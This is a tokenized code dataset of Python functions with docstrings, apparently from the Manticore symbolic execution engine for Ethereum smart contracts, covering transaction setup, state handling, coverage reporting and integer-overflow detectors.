EthereumError(\"<STR_LIT>\")<EOL><DEDENT>address = world.new_address(caller)<EOL><DEDENT>caller_migrated, address_migrated, value_migrated, data_migrated = self._migrate_tx_expressions(state, caller, address, value, data)<EOL>if sort == '<STR_LIT>':<EOL><INDENT>if address in world.accounts:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>state.context['<STR_LIT>'] = (sort, caller_migrated, address_migrated, value_migrated, data_migrated, gaslimit, price)<EOL><DEDENT>self.run(procs=self._config_procs)<EOL>return address<EOL>", "docstring": "Initiates a transaction\n\n            :param caller: caller account\n            :type caller: int or EVMAccount\n            :param int address: the address for the transaction (optional)\n            :param value: value to be transferred\n            :param price: the price of gas for this transaction. Mostly unused.\n            :type value: int or BitVecVariable\n            :param str data: initializing evm bytecode and arguments or transaction call data\n            :param gaslimit: gas budget\n            :rtype: EVMAccount", "id": "f16997:c0:m46"}
{"signature": "def preconstraint_for_call_transaction(self, address: Union[int, EVMAccount], data: Array,<EOL>value: Optional[Union[int, Expression]] = None,<EOL>contract_metadata: Optional[SolidityMetadata] = None) -> BoolOperation:", "body": "if isinstance(address, EVMAccount):<EOL><INDENT>address = int(address)<EOL><DEDENT>if not isinstance(address, int):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not issymbolic(data):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if contract_metadata is None:<EOL><INDENT>contract_metadata = self.metadata.get(address)<EOL>if contract_metadata is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>selectors = contract_metadata.function_selectors<EOL>if not selectors or len(data) <= <NUM_LIT:4>:<EOL><INDENT>return BoolConstant(True)<EOL><DEDENT>symbolic_selector = data[:<NUM_LIT:4>]<EOL>value_is_symbolic = issymbolic(value)<EOL>constraint = None<EOL>for selector in selectors:<EOL><INDENT>c = symbolic_selector == selector<EOL>if value_is_symbolic and not contract_metadata.get_abi(selector)['<STR_LIT>']:<EOL><INDENT>c = Operators.AND(c, value == <NUM_LIT:0>)<EOL><DEDENT>if constraint is None:<EOL><INDENT>constraint = c<EOL><DEDENT>else:<EOL><INDENT>constraint = Operators.OR(constraint, c)<EOL><DEDENT><DEDENT>return constraint<EOL>", "docstring": "Returns a constraint that excludes combinations of value and data that would cause an exception in the EVM\n            contract dispatcher.\n            :param address: address of the contract to call\n            :param value: balance to be transferred (optional)\n            :param data: symbolic transaction data\n            :param contract_metadata: SolidityMetadata for the contract (optional)", "id": "f16997:c0:m47"}
{"signature": "def run(self, **kwargs):", "body": "<EOL>with self.locked_context('<STR_LIT>') as context:<EOL><INDENT>assert len(self._executor.list()) == <NUM_LIT:0><EOL>for state_id in context['<STR_LIT>']:<EOL><INDENT>self._executor.put(state_id)<EOL><DEDENT>context['<STR_LIT>'] = set()<EOL><DEDENT>super().run(**kwargs)<EOL>with self.locked_context('<STR_LIT>') as context:<EOL><INDENT>if len(context['<STR_LIT>']) == <NUM_LIT:1>:<EOL><INDENT>self._initial_state = self._executor._workspace.load_state(context['<STR_LIT>'].pop(), delete=True)<EOL>self._executor.forward_events_from(self._initial_state, True)<EOL>context['<STR_LIT>'] = set()<EOL>assert self._running_state_ids == (-<NUM_LIT:1>,)<EOL><DEDENT><DEDENT>", "docstring": "Run any pending transaction on any running state", "id": "f16997:c0:m49"}
{"signature": "def save(self, state, state_id=None, final=False):", "body": "<EOL>if state_id is not None:<EOL><INDENT>if state_id not in self._all_state_ids:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>with self.locked_context('<STR_LIT>') as context:<EOL><INDENT>context['<STR_LIT>'].discard(state_id)<EOL>context['<STR_LIT>'].discard(state_id)<EOL><DEDENT><DEDENT>if state_id != -<NUM_LIT:1>:<EOL><INDENT>state_id = self._executor._workspace.save_state(state, state_id=state_id)<EOL>with self.locked_context('<STR_LIT>') as context:<EOL><INDENT>if final:<EOL><INDENT>context['<STR_LIT>'].add(state_id)<EOL><DEDENT>else:<EOL><INDENT>context['<STR_LIT>'].add(state_id)<EOL><DEDENT><DEDENT><DEDENT>return state_id<EOL>", "docstring": "Save a state in secondary storage and add it to running or final lists\n\n            :param state: A manticore State\n            :param state_id: if not None force state_id (overwrite)\n            :param final: True if state is final\n            :returns: a state id", "id": "f16997:c0:m50"}
{"signature": "def load(self, state_id=None):", "body": "state = None<EOL>if state_id is None:<EOL><INDENT>state_count = self.count_running_states()<EOL>if state_count == <NUM_LIT:1>:<EOL><INDENT>state_id = self._running_state_ids[<NUM_LIT:0>]<EOL><DEDENT>elif state_count == <NUM_LIT:0>:<EOL><INDENT>raise NoAliveStates<EOL><DEDENT>else:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if state_id == -<NUM_LIT:1>:<EOL><INDENT>state = self.initial_state<EOL><DEDENT>else:<EOL><INDENT>state = self._executor._workspace.load_state(state_id, delete=False)<EOL>self._executor.forward_events_from(state, True)<EOL><DEDENT>return state<EOL>", "docstring": "Load one of the running or final states.\n\n            :param state_id: If None it assumes there is a single running state\n            :type state_id: int or None", "id": "f16997:c0:m51"}
{"signature": "def _on_symbolic_sha3_callback(self, state, data, known_hashes):", "body": "assert issymbolic(data), '<STR_LIT>'<EOL>with self.locked_context('<STR_LIT>') as context:<EOL><INDENT>known_sha3 = context.get('<STR_LIT>', None)<EOL>if known_sha3 is None:<EOL><INDENT>known_sha3 = set()<EOL><DEDENT>sha3_states = context.get('<STR_LIT>', [])<EOL>results = []<EOL>known_hashes_cond = False<EOL>for key, value in known_sha3:<EOL><INDENT>assert not issymbolic(key), \"<STR_LIT>\"<EOL>cond = key == data<EOL>if not state.can_be_true(cond):<EOL><INDENT>continue<EOL><DEDENT>results.append((key, value))<EOL>known_hashes_cond = Operators.OR(cond, known_hashes_cond)<EOL><DEDENT>if not results:<EOL><INDENT>data_concrete = state.solve_one(data)<EOL>s = sha3.keccak_256(data_concrete)<EOL>data_hash = int(s.hexdigest(), <NUM_LIT:16>)<EOL>results.append((data_concrete, data_hash))<EOL>known_hashes_cond = data_concrete == data<EOL>known_sha3.add((data_concrete, data_hash))<EOL><DEDENT>not_known_hashes_cond = Operators.NOT(known_hashes_cond)<EOL>with state as temp_state:<EOL><INDENT>if temp_state.can_be_true(not_known_hashes_cond):<EOL><INDENT>temp_state.constrain(not_known_hashes_cond)<EOL>state_id = self._executor._workspace.save_state(temp_state)<EOL>sha3_states[state_id] = [hsh for buf, hsh in known_sha3]<EOL><DEDENT><DEDENT>context['<STR_LIT>'] = sha3_states<EOL>if not state.can_be_true(known_hashes_cond):<EOL><INDENT>raise TerminateState(\"<STR_LIT>\")<EOL><DEDENT>state.constrain(known_hashes_cond)<EOL>known_hashes.update(results)<EOL><DEDENT>", "docstring": "INTERNAL USE", "id": "f16997:c0:m52"}
{"signature": "def _on_concrete_sha3_callback(self, state, buf, value):", "body": "with self.locked_context('<STR_LIT>', dict) as ethereum_context:<EOL><INDENT>known_sha3 = ethereum_context.get('<STR_LIT>', None)<EOL>if known_sha3 is None:<EOL><INDENT>known_sha3 = set()<EOL><DEDENT>known_sha3.add((buf, value))<EOL>ethereum_context['<STR_LIT>'] = known_sha3<EOL><DEDENT>", "docstring": "INTERNAL USE", "id": "f16997:c0:m53"}
{"signature": "def _terminate_state_callback(self, state, state_id, e):", "body": "if isinstance(e, AbandonState):<EOL><INDENT>return<EOL><DEDENT>world = state.platform<EOL>state.context['<STR_LIT>'] = e<EOL>e.testcase = False  <EOL>if not world.all_transactions:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.save(state, final=True)<EOL>return<EOL><DEDENT>tx = world.all_transactions[-<NUM_LIT:1>]<EOL>if tx.is_human:<EOL><INDENT>if tx.sort == '<STR_LIT>':<EOL><INDENT>if tx.result == '<STR_LIT>':<EOL><INDENT>world.set_code(tx.address, tx.return_data)<EOL><DEDENT>else:<EOL><INDENT>world.delete_account(tx.address)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL><DEDENT>if tx.result in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>self.save(state, final=True)<EOL><DEDENT>elif tx.result in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>self.save(state)  <EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "INTERNAL USE\n            Every time a state finishes executing the last transaction, we save it in\n            our private list", "id": "f16997:c0:m54"}
{"signature": "def _load_state_callback(self, state, state_id):", "body": "if '<STR_LIT>' not in state.context:<EOL><INDENT>return<EOL><DEDENT>world = state.platform<EOL>ty, caller, address, value, data, gaslimit, price = state.context['<STR_LIT>']<EOL>del state.context['<STR_LIT>']<EOL>if ty == '<STR_LIT>':<EOL><INDENT>world.transaction(address=address, caller=caller, data=data, value=value, price=price, gas=gaslimit)<EOL><DEDENT>else:<EOL><INDENT>assert ty == '<STR_LIT>'<EOL>world.create_contract(caller=caller, address=address, balance=value, init=data, price=price, gas=gaslimit)<EOL><DEDENT>", "docstring": "INTERNAL USE\n            If a state was just loaded from storage, we do the pending transaction", "id": "f16997:c0:m55"}
{"signature": "def _did_evm_execute_instruction_callback(self, state, instruction, arguments, result):", "body": "<EOL>at_init = state.platform.current_transaction.sort == '<STR_LIT>'<EOL>if at_init:<EOL><INDENT>coverage_context_name = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>coverage_context_name = '<STR_LIT>'<EOL><DEDENT>with self.locked_context(coverage_context_name, set) as coverage:<EOL><INDENT>coverage.add((state.platform.current_vm.address, instruction.pc))<EOL><DEDENT>state.context.setdefault('<STR_LIT>', []).append((state.platform.current_vm.address, instruction.pc, at_init))<EOL>", "docstring": "INTERNAL USE", "id": "f16997:c0:m56"}
{"signature": "def _did_evm_read_code(self, state, offset, size):", "body": "with self.locked_context('<STR_LIT>', set) as code_data:<EOL><INDENT>for i in range(offset, offset + size):<EOL><INDENT>code_data.add((state.platform.current_vm.address, i))<EOL><DEDENT><DEDENT>", "docstring": "INTERNAL USE", "id": "f16997:c0:m57"}
{"signature": "def get_metadata(self, address) -> Optional[SolidityMetadata]:", "body": "return self.metadata.get(int(address))<EOL>", "docstring": "Gets the solidity metadata for address.\n            This is available only if address is a contract created from solidity", "id": "f16997:c0:m58"}
{"signature": "def register_detector(self, d):", "body": "if not isinstance(d, Detector):<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>if d.name in self.detectors:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>self.detectors[d.name] = d<EOL>self.register_plugin(d)<EOL>return d.name<EOL>", "docstring": "Unregisters a plugin. This will invoke detector's `on_unregister` callback.\nShall be called after `.finalize`.", "id": "f16997:c0:m59"}
{"signature": "def unregister_detector(self, d):", "body": "if not isinstance(d, (Detector, str)):<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>name = d<EOL>if isinstance(d, Detector):<EOL><INDENT>name = d.name<EOL><DEDENT>if name not in self.detectors:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>d = self.detectors[name]<EOL>del self.detectors[name]<EOL>self.unregister_plugin(d)<EOL>", "docstring": "Unregisters a detector. This will invoke detector's `on_unregister` callback.\nShall be called after `.finalize` - otherwise, finalize won't add detector's finding to `global.findings`.", "id": "f16997:c0:m60"}
{"signature": "@staticmethod<EOL><INDENT>def _emit_trace_file(filestream, trace):<DEDENT>", "body": "for contract, pc, at_init in trace:<EOL><INDENT>if pc == <NUM_LIT:0>:<EOL><INDENT>filestream.write('<STR_LIT>')<EOL><DEDENT>ln = '<STR_LIT>'.format(contract, pc, '<STR_LIT:*>' if at_init else '<STR_LIT>')<EOL>filestream.write(ln)<EOL><DEDENT>", "docstring": ":param filestream: file object for the workspace trace file\n:param trace: list of (contract address, pc) tuples\n:type trace: list[tuple(int, int)]", "id": "f16997:c0:m65"}
{"signature": "def finalize(self):", "body": "logger.debug(\"<STR_LIT>\", self.count_states())<EOL>def finalizer(state_id):<EOL><INDENT>state_id = self._terminate_state_id(state_id)<EOL>st = self.load(state_id)<EOL>logger.debug(\"<STR_LIT>\", state_id)<EOL>last_tx = st.platform.last_transaction<EOL>message = last_tx.result if last_tx else '<STR_LIT>'<EOL>self._publish_generate_testcase(st, message=message)<EOL><DEDENT>def worker_finalize(q):<EOL><INDENT>try:<EOL><INDENT>while True:<EOL><INDENT>finalizer(q.get_nowait())<EOL><DEDENT><DEDENT>except EmptyQueue:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>q = Queue()<EOL>for state_id in self._all_state_ids:<EOL><INDENT>if state_id == -<NUM_LIT:1>:<EOL><INDENT>finalizer(-<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>q.put(state_id)<EOL><DEDENT><DEDENT>report_workers = []<EOL>for _ in range(self._config_procs):<EOL><INDENT>proc = Process(target=worker_finalize, args=(q,))<EOL>proc.start()<EOL>report_workers.append(proc)<EOL><DEDENT>for proc in report_workers:<EOL><INDENT>proc.join()<EOL><DEDENT>if len(self.global_findings):<EOL><INDENT>with self._output.save_stream('<STR_LIT>') as global_findings:<EOL><INDENT>for address, pc, finding, at_init in self.global_findings:<EOL><INDENT>global_findings.write('<STR_LIT>' % finding)<EOL>write_findings(global_findings, '<STR_LIT:U+0020>', address, pc, at_init)<EOL>md = self.get_metadata(address)<EOL>if md is not None:<EOL><INDENT>source_code_snippet = md.get_source_for(pc, runtime=not at_init)<EOL>global_findings.write('<STR_LIT>')<EOL>global_findings.write('<STR_LIT:U+0020>'.join(source_code_snippet.splitlines(True)))<EOL>global_findings.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT>self._save_run_data()<EOL>with self._output.save_stream('<STR_LIT>') as global_summary:<EOL><INDENT>global_summary.write(\"<STR_LIT>\")<EOL>for address in self.contract_accounts.values():<EOL><INDENT>global_summary.write(\"<STR_LIT>\".format(int(address), self.global_coverage(address)))<EOL>md = self.get_metadata(address)<EOL>if md is not None and len(md.warnings) > <NUM_LIT:0>:<EOL><INDENT>global_summary.write('<STR_LIT>' % md.name)<EOL>global_summary.write(md.warnings)<EOL><DEDENT><DEDENT><DEDENT>for address, md in self.metadata.items():<EOL><INDENT>with self._output.save_stream('<STR_LIT>' % md.name) as global_src:<EOL><INDENT>global_src.write(md.source_code)<EOL><DEDENT>with self._output.save_stream('<STR_LIT>' % md.name, binary=True) as global_runtime_bytecode:<EOL><INDENT>global_runtime_bytecode.write(md.runtime_bytecode)<EOL><DEDENT>with self._output.save_stream('<STR_LIT>' % md.name, binary=True) as global_init_bytecode:<EOL><INDENT>global_init_bytecode.write(md.init_bytecode)<EOL><DEDENT>with self._output.save_stream('<STR_LIT>' % md.name) as global_runtime_asm:<EOL><INDENT>runtime_bytecode = md.runtime_bytecode<EOL>with self.locked_context('<STR_LIT>') as seen:<EOL><INDENT>count, total = <NUM_LIT:0>, <NUM_LIT:0><EOL>for i in EVMAsm.disassemble_all(runtime_bytecode):<EOL><INDENT>if (address, i.pc) in seen:<EOL><INDENT>count += <NUM_LIT:1><EOL>global_runtime_asm.write('<STR_LIT:*>')<EOL><DEDENT>else:<EOL><INDENT>global_runtime_asm.write('<STR_LIT:U+0020>')<EOL><DEDENT>global_runtime_asm.write('<STR_LIT>' % (i.pc, i))<EOL>total += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>with self._output.save_stream('<STR_LIT>' % md.name) as global_init_asm:<EOL><INDENT>with self.locked_context('<STR_LIT>') as seen:<EOL><INDENT>count, total = <NUM_LIT:0>, <NUM_LIT:0><EOL>for i in EVMAsm.disassemble_all(md.init_bytecode):<EOL><INDENT>if (address, i.pc) in seen:<EOL><INDENT>count += <NUM_LIT:1><EOL>global_init_asm.write('<STR_LIT:*>')<EOL><DEDENT>else:<EOL><INDENT>global_init_asm.write('<STR_LIT:U+0020>')<EOL><DEDENT>global_init_asm.write('<STR_LIT>' % (i.pc, i))<EOL>total += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>with self._output.save_stream('<STR_LIT>' % md.name) as f:<EOL><INDENT>with self.locked_context('<STR_LIT>') as seen:<EOL><INDENT>visited = set((o for (a, o) in seen if a == address))<EOL>for o in sorted(visited):<EOL><INDENT>f.write('<STR_LIT>' % o)<EOL><DEDENT><DEDENT><DEDENT>with self._output.save_stream('<STR_LIT>' % md.name) as f:<EOL><INDENT>with self.locked_context('<STR_LIT>') as seen:<EOL><INDENT>visited = set()<EOL>for (a, o) in seen:<EOL><INDENT>if a == address:<EOL><INDENT>visited.add(o)<EOL><DEDENT><DEDENT>for o in sorted(visited):<EOL><INDENT>f.write('<STR_LIT>' % o)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for state_id in self._all_state_ids:<EOL><INDENT>if state_id != -<NUM_LIT:1>:<EOL><INDENT>self._executor._workspace.rm_state(state_id)<EOL><DEDENT><DEDENT>with self.locked_context('<STR_LIT>') as eth_context:<EOL><INDENT>eth_context['<STR_LIT>'] = set()<EOL>eth_context['<STR_LIT>'] = set()<EOL><DEDENT>", "docstring": "Terminate and generate testcases for all currently alive states (contract states that cleanly executed\nto a STOP or RETURN in the last symbolic transaction).", "id": "f16997:c0:m67"}
{"signature": "def global_coverage(self, account):", "body": "account_address = int(account)<EOL>runtime_bytecode = None<EOL>for state in self.all_states:<EOL><INDENT>world = state.platform<EOL>if account_address in world:<EOL><INDENT>code = world.get_code(account_address)<EOL>runtime_bytecode = state.solve_one(code)<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>with self.locked_context('<STR_LIT>') as coverage:<EOL><INDENT>seen = {off for addr, off in coverage if addr == account_address}<EOL><DEDENT>return calculate_coverage(runtime_bytecode, seen)<EOL>", "docstring": "Returns code coverage for the contract on `account_address`.\n            This sums up all the visited code lines from any of the explored\n            states.", "id": "f16997:c0:m68"}
{"signature": "def __init__(self, regexp=r'<STR_LIT>', mutability='<STR_LIT>', depth='<STR_LIT>', fallback=False, include=True, **kwargs):", "body": "super().__init__(**kwargs)<EOL>depth = depth.lower()<EOL>if depth not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise ValueError<EOL><DEDENT>mutability = mutability.lower()<EOL>if mutability not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise ValueError<EOL><DEDENT>self._regexp = regexp<EOL>self._mutability = mutability<EOL>self._depth = depth<EOL>self._fallback = fallback<EOL>self._include = include<EOL>", "docstring": "Constrain input based on function metadata. Include or avoid functions selected by the specified criteria.\n\nExamples:\n#Do not explore any human transactions that end up calling a constant function\nno_human_constant = FilterFunctions(depth='human', mutability='constant', include=False)\n\n#At human tx depth only accept synthetic check functions\nonly_tests = FilterFunctions(regexp=r'mcore_.*', depth='human', include=False)\n\n:param regexp: a regular expression over the name of the function '.*' will match all functions\n:param mutability: mutable, constant or both will match functions declared in the abi to be of such class\n:param depth: match functions in internal transactions, in human initiated transactions or in both types\n:param fallback: if True include the fallback function. Hash will be 00000000 for it\n:param include: if False exclude the selected functions, if True include them", "id": "f16998:c0:m0"}
{"signature": "def add_finding(self, state, address, pc, finding, at_init, constraint=True):", "body": "if issymbolic(pc):<EOL><INDENT>pc = simplify(pc)<EOL><DEDENT>if isinstance(pc, Constant):<EOL><INDENT>pc = pc.value<EOL><DEDENT>if not isinstance(pc, int):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.get_findings(state).add((address, pc, finding, at_init, constraint))<EOL>with self.locked_global_findings() as gf:<EOL><INDENT>gf.add((address, pc, finding, at_init))<EOL><DEDENT>logger.warning(finding)<EOL>", "docstring": "Logs a finding at specified contract and assembler line.\n:param state: current state\n:param address: contract address of the finding\n:param pc: program counter of the finding\n:param at_init: true if executing the constructor\n:param finding: textual description of the finding\n:param constraint: finding is considered reproducible only when constraint is True", "id": "f16999:c1:m4"}
{"signature": "def add_finding_here(self, state, finding, constraint=True):", "body": "address = state.platform.current_vm.address<EOL>pc = state.platform.current_vm.pc<EOL>if isinstance(pc, Constant):<EOL><INDENT>pc = pc.value<EOL><DEDENT>if not isinstance(pc, int):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>at_init = state.platform.current_transaction.sort == '<STR_LIT>'<EOL>self.add_finding(state, address, pc, finding, at_init, constraint)<EOL>", "docstring": "Logs a finding in current contract and assembler line.\n:param state: current state\n:param finding: textual description of the finding\n:param constraint: finding is considered reproducible only when constraint is True", "id": "f16999:c1:m5"}
{"signature": "def _save_current_location(self, state, finding, condition=True):", "body": "address = state.platform.current_vm.address<EOL>pc = state.platform.current_vm.pc<EOL>at_init = state.platform.current_transaction.sort == '<STR_LIT>'<EOL>location = (address, pc, finding, at_init, condition)<EOL>hash_id = hashlib.sha1(str(location).encode()).hexdigest()<EOL>state.context.setdefault('<STR_LIT>'.format(self.name), {})[hash_id] = location<EOL>return hash_id<EOL>", "docstring": "Save current location in the internal locations list and returns a textual id for it.\nThis is used to save locations that could later be promoted to a finding if other conditions hold\nSee _get_location()\n:param state: current state\n:param finding: textual description of the finding\n:param condition: general purpose constraint", "id": "f16999:c1:m6"}
{"signature": "def _get_location(self, state, hash_id):", "body": "return state.context.setdefault('<STR_LIT>'.format(self.name), {})[hash_id]<EOL>", "docstring": "Get previously saved location\nA location is composed of: address, pc, finding, at_init, condition", "id": "f16999:c1:m7"}
{"signature": "def __init__(self, only_human=True, **kwargs):", "body": "super().__init__(**kwargs)<EOL>self._only_human = only_human<EOL>", "docstring": "Detects INVALID instructions.\n\nINVALID instructions are originally designated to signal exceptional code.\nAs in practice the INVALID instruction is used in different ways this\ndetector may Generate a great deal of false positives.\n\n:param only_human: if True report only INVALID at depth 0 transactions", "id": "f16999:c5:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _signed_sub_overflow(state, a, b):<DEDENT>", "body": "sub = Operators.SEXTEND(a, <NUM_LIT>, <NUM_LIT>) - Operators.SEXTEND(b, <NUM_LIT>, <NUM_LIT>)<EOL>cond = Operators.OR(sub < -(<NUM_LIT:1> << <NUM_LIT:255>), sub >= (<NUM_LIT:1> << <NUM_LIT:255>))<EOL>return cond<EOL>", "docstring": "Sign extend the value to 512 bits and check the result can be represented\n in 256. Following there is a 32 bit excerpt of this condition:\na  -  b   -80000000 -3fffffff -00000001 +00000000 +00000001 +3fffffff +7fffffff\n+80000000    False    False    False    False     True     True     True\n+c0000001    False    False    False    False    False    False     True\n+ffffffff    False    False    False    False    False    False    False\n+00000000     True    False    False    False    False    False    False\n+00000001     True    False    False    False    False    False    False\n+3fffffff     True    False    False    False    False    False    False\n+7fffffff     True     True     True    False    False    False    False", "id": "f16999:c8:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _signed_add_overflow(state, a, b):<DEDENT>", "body": "add = Operators.SEXTEND(a, <NUM_LIT>, <NUM_LIT>) + Operators.SEXTEND(b, <NUM_LIT>, <NUM_LIT>)<EOL>cond = Operators.OR(add < -(<NUM_LIT:1> << <NUM_LIT:255>), add >= (<NUM_LIT:1> << <NUM_LIT:255>))<EOL>return cond<EOL>", "docstring": "Sign extend the value to 512 bits and check the result can be represented\n in 256. Following there is a 32 bit excerpt of this condition:\n\na  +  b   -80000000 -3fffffff -00000001 +00000000 +00000001 +3fffffff +7fffffff\n+80000000     True     True     True    False    False    False    False\n+c0000001     True    False    False    False    False    False    False\n+ffffffff     True    False    False    False    False    False    False\n+00000000    False    False    False    False    False    False    False\n+00000001    False    False    False    False    False    False     True\n+3fffffff    False    False    False    False    False    False     True\n+7fffffff    False    False    False    False     True     True     True", "id": "f16999:c8:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _unsigned_sub_overflow(state, a, b):<DEDENT>", "body": "cond = Operators.UGT(b, a)<EOL>return cond<EOL>", "docstring": "Sign extend the value to 512 bits and check the result can be represented\n in 256. Following there is a 32 bit excerpt of this condition:\n\na  -  b   ffffffff bfffffff 80000001 00000000 00000001 3ffffffff 7fffffff\nffffffff     True     True     True    False     True     True     True\nbfffffff     True     True     True    False    False     True     True\n80000001     True     True     True    False    False     True     True\n00000000    False    False    False    False    False     True    False\n00000001     True    False    False    False    False     True    False\nffffffff     True     True     True     True     True     True     True\n7fffffff     True     True     True    False    False     True    False", "id": "f16999:c8:m2"}
{"signature": "@staticmethod<EOL><INDENT>def _unsigned_add_overflow(state, a, b):<DEDENT>", "body": "add = Operators.ZEXTEND(a, <NUM_LIT>) + Operators.ZEXTEND(b, <NUM_LIT>)<EOL>cond = Operators.UGE(add, <NUM_LIT:1> << <NUM_LIT>)<EOL>return cond<EOL>", "docstring": "Sign extend the value to 512 bits and check the result can be represented\n in 256. Following there is a 32 bit excerpt of this condition:\n\na  +  b   ffffffff bfffffff 80000001 00000000 00000001 3ffffffff 7fffffff\nffffffff     True     True     True    False     True     True     True\nbfffffff     True     True     True    False    False     True     True\n80000001     True     True     True    False    False     True     True\n00000000    False    False    False    False    False     True    False\n00000001     True    False    False    False    False     True    False\nffffffff     True     True     True     True     True     True     True\n7fffffff     True     True     True    False    False     True    False", "id": "f16999:c8:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _signed_mul_overflow(state, a, b):<DEDENT>", "body": "mul = Operators.SEXTEND(a, <NUM_LIT>, <NUM_LIT>) * Operators.SEXTEND(b, <NUM_LIT>, <NUM_LIT>)<EOL>cond = Operators.OR(mul < -(<NUM_LIT:1> << <NUM_LIT:255>), mul >= (<NUM_LIT:1> << <NUM_LIT:255>))<EOL>return cond<EOL>", "docstring": "Sign extend the value to 512 bits and check the result can be represented\n in 256. Following there is a 32 bit excerpt of this condition:\n\na  *  b           +00000000000000000 +00000000000000001 +0000000003fffffff +0000000007fffffff +00000000080000001 +000000000bfffffff +000000000ffffffff\n+0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000\n+0000000000000001  +0000000000000000  +0000000000000001  +000000003fffffff  +000000007fffffff  +0000000080000001  +00000000bfffffff  +00000000ffffffff\n+000000003fffffff  +0000000000000000  +000000003fffffff *+0fffffff80000001 *+1fffffff40000001 *+1fffffffbfffffff *+2fffffff00000001 *+3ffffffec0000001\n+000000007fffffff  +0000000000000000  +000000007fffffff *+1fffffff40000001 *+3fffffff00000001 *+3fffffffffffffff *+5ffffffec0000001 *+7ffffffe80000001\n+0000000080000001  +0000000000000000  +0000000080000001 *+1fffffffbfffffff *+3fffffffffffffff *+4000000100000001 *+600000003fffffff *+800000007fffffff\n+00000000bfffffff  +0000000000000000  +00000000bfffffff *+2fffffff00000001 *+5ffffffec0000001 *+600000003fffffff *+8ffffffe80000001 *+bffffffe40000001\n+00000000ffffffff  +0000000000000000  +00000000ffffffff *+3ffffffec0000001 *+7ffffffe80000001 *+800000007fffffff *+bffffffe40000001 *+fffffffe00000001", "id": "f16999:c8:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _unsigned_mul_overflow(state, a, b):<DEDENT>", "body": "mul = Operators.SEXTEND(a, <NUM_LIT>, <NUM_LIT>) * Operators.SEXTEND(b, <NUM_LIT>, <NUM_LIT>)<EOL>cond = Operators.UGE(mul, <NUM_LIT:1> << <NUM_LIT>)<EOL>return cond<EOL>", "docstring": "Sign extend the value to 512 bits and check the result can be represented\n in 256. Following there is a 32 bit excerpt of this condition:\n\na  *  b           +00000000000000000 +00000000000000001 +0000000003fffffff +0000000007fffffff +00000000080000001 +000000000bfffffff +000000000ffffffff\n+0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000  +0000000000000000\n+0000000000000001  +0000000000000000  +0000000000000001  +000000003fffffff  +000000007fffffff  +0000000080000001  +00000000bfffffff  +00000000ffffffff\n+000000003fffffff  +0000000000000000  +000000003fffffff *+0fffffff80000001 *+1fffffff40000001 *+1fffffffbfffffff *+2fffffff00000001 *+3ffffffec0000001\n+000000007fffffff  +0000000000000000  +000000007fffffff *+1fffffff40000001 *+3fffffff00000001 *+3fffffffffffffff *+5ffffffec0000001 *+7ffffffe80000001\n+0000000080000001  +0000000000000000  +0000000080000001 *+1fffffffbfffffff *+3fffffffffffffff *+4000000100000001 *+600000003fffffff *+800000007fffffff\n+00000000bfffffff  +0000000000000000  +00000000bfffffff *+2fffffff00000001 *+5ffffffec0000001 *+600000003fffffff *+8ffffffe80000001 *+bffffffe40000001\n+00000000ffffffff  +0000000000000000  +00000000ffffffff *+3ffffffec0000001 *+7ffffffe80000001 *+800000007fffffff *+bffffffe40000001 *+fffffffe00000001", "id": "f16999:c8:m5"}
